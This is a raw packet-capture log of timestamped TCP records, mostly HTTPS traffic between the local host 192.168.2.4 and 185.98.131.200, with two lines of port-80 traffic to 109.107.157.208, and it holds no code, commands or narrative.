Oct 24, 2024 13:27:18.113878012 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:18.113878012 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:18.113948107 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:18.113986969 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:18.114008904 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:18.605923891 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:18.605932951 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:18.605978966 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:18.606017113 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:18.606082916 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:18.606121063 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:18.606144905 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:18.606471062 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:18.606491089 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:18.606565952 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:18.606565952 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:18.606584072 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:18.606622934 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:18.612392902 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:18.612406015 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:18.612463951 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:18.612478018 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:18.612524033 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:18.776015043 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:18.776201010 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:19.115907907 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:19.115919113 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:19.115952969 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:19.115995884 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:19.116033077 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:19.116060972 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:19.116080999 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:19.367449999 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:19.367460966 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:19.367506027 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:19.367598057 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:19.367634058 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:19.367683887 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:19.367683887 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:19.387779951 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:19.387795925 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:19.387980938 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:19.388041973 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:19.388108015 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:19.470490932 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:19.470504999 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:19.470700979 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:19.470700979 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:19.470766068 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:19.470825911 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:19.480638981 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:19.480653048 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:19.480720043 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:19.480732918 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:19.480760098 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:19.480777025 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:20.367496967 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:20.367506981 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:20.367544889 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:20.367624998 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:20.367624998 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:20.367690086 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:20.367746115 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:20.472218037 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:20.472234964 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:20.472417116 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:20.472479105 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:20.472536087 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:20.480979919 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:20.480993032 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:20.481050968 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:20.481065989 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:20.481113911 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:21.115894079 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:21.115902901 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:21.115957975 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:21.116106987 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:21.116106987 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:21.116173029 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:21.116234064 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:21.414144993 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:21.414155006 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:21.414181948 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:21.414484024 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:21.414484024 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:21.414549112 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:21.414704084 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:21.414721966 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:21.414782047 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:21.414805889 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:21.414830923 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:21.415785074 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:21.476886988 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:21.476902008 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:21.477185965 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:21.477247953 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:21.477313042 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:21.482871056 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:21.482888937 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:21.482947111 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:21.482961893 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:21.484772921 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:22.367163897 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:22.367172956 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:22.367229939 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:22.367275000 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:22.367300034 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:22.367330074 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:22.367347956 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:22.475935936 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:22.475954056 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:22.476253986 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:22.476284981 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:22.476335049 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:22.481551886 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:22.481569052 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:22.481616974 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:22.481626034 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:22.481653929 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:22.482793093 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:23.122737885 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:23.122749090 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:23.122802019 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:23.122987032 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:23.122987986 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:23.123054028 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:23.123131990 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:23.373321056 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:23.373344898 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:23.373389006 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:23.373464108 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:23.373465061 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:23.373534918 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:23.373590946 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:23.389343023 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:23.389386892 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:23.389658928 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:23.389719963 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:23.389796019 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:23.482047081 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:23.482130051 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:23.482423067 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:23.482484102 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:23.482558012 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:23.487620115 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:23.487673044 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:23.487715006 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:23.487742901 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:23.487770081 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:23.487790108 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:24.384356022 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:24.384367943 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:24.384413004 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:24.384444952 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:24.384512901 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:24.384551048 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:24.384572029 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:24.491194010 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:24.491220951 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:24.491889000 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:24.491947889 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:24.492398977 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:24.492563009 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:24.492594004 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:24.492712021 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:24.492712021 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:24.492747068 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:24.492801905 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:25.123882055 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:25.123897076 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:25.123909950 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:25.124089003 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:25.124089003 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:25.124162912 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:25.124205112 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:25.124233007 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:25.124257088 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:25.376396894 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:25.376405954 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:25.376461983 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:25.376530886 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:25.376599073 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:25.376641035 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:25.376661062 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:25.392513990 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:25.392527103 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:25.392705917 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:25.392705917 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:25.392767906 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:25.392834902 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:25.485439062 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:25.485454082 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:25.485627890 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:25.485629082 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:25.485692978 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:25.485784054 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:25.491044044 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:25.491058111 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:25.491128922 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:25.491149902 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:25.491173029 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:25.491193056 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:26.376161098 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:26.376173019 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:26.376215935 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:26.376262903 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:26.376318932 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:26.376358032 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:26.376384020 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:26.482395887 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:26.482420921 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:26.482590914 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:26.482590914 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:26.482618093 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:26.482676029 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:26.490190029 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:26.490211010 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:26.490257978 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:26.490272045 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:26.490297079 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:26.490317106 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:27.128603935 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:27.128618002 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:27.128654003 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:27.128736973 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:27.128736973 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:27.128806114 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:27.128869057 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:27.144191980 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:27.144217014 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:27.144284010 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:27.144304037 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:27.144330025 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:27.144351006 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:27.237404108 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:27.237433910 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:27.237612009 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:27.237612009 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:27.237679005 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:27.237735033 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:27.242696047 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:27.242716074 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:27.242778063 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:27.242790937 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:27.242820024 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:27.242840052 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:28.130212069 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:28.130227089 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:28.130254030 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:28.130294085 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:28.130294085 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:28.130364895 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:28.130399942 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:28.130426884 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:28.130426884 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:28.130455017 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:28.236675978 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:28.236706018 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:28.236809969 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:28.236844063 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:28.236866951 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:28.236891031 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:28.244031906 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:28.244052887 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:28.244115114 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:28.244127989 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:28.244158030 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:28.244179010 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:28.249593019 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:28.249614000 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:28.249691010 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:28.249710083 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:28.249738932 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:28.249758959 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:28.351780891 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:28.351809978 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:28.351907015 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:28.351929903 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:28.351982117 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:29.484402895 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:29.484416008 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:29.484455109 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:29.484518051 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:29.484580040 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:29.484669924 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:29.484669924 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:29.489675045 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:29.489695072 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:29.489753962 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:29.489770889 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:29.489820957 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:29.602807045 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:29.602837086 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:29.602890968 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:29.602919102 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:29.602950096 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:29.602971077 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:30.208280087 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:30.208298922 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:30.208319902 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:30.208538055 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:30.208538055 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:30.208606958 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:30.208678007 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:30.315457106 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:30.315483093 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:30.315886021 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:30.315948963 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:30.316215992 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:30.320666075 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:30.320687056 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:30.320780039 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:30.320796013 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:30.320848942 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:30.325253010 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:30.325273991 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:30.325438976 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:30.325453997 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:30.325505972 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:30.332310915 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:30.332329035 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:30.332405090 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:30.332421064 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:30.332451105 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:30.332477093 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:31.561660051 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:31.561681032 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:31.561701059 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:31.561861992 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:31.561861992 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:31.561929941 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:31.561989069 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:31.567028046 CEST	443	49731	185.98.131.200	192.168.2.4
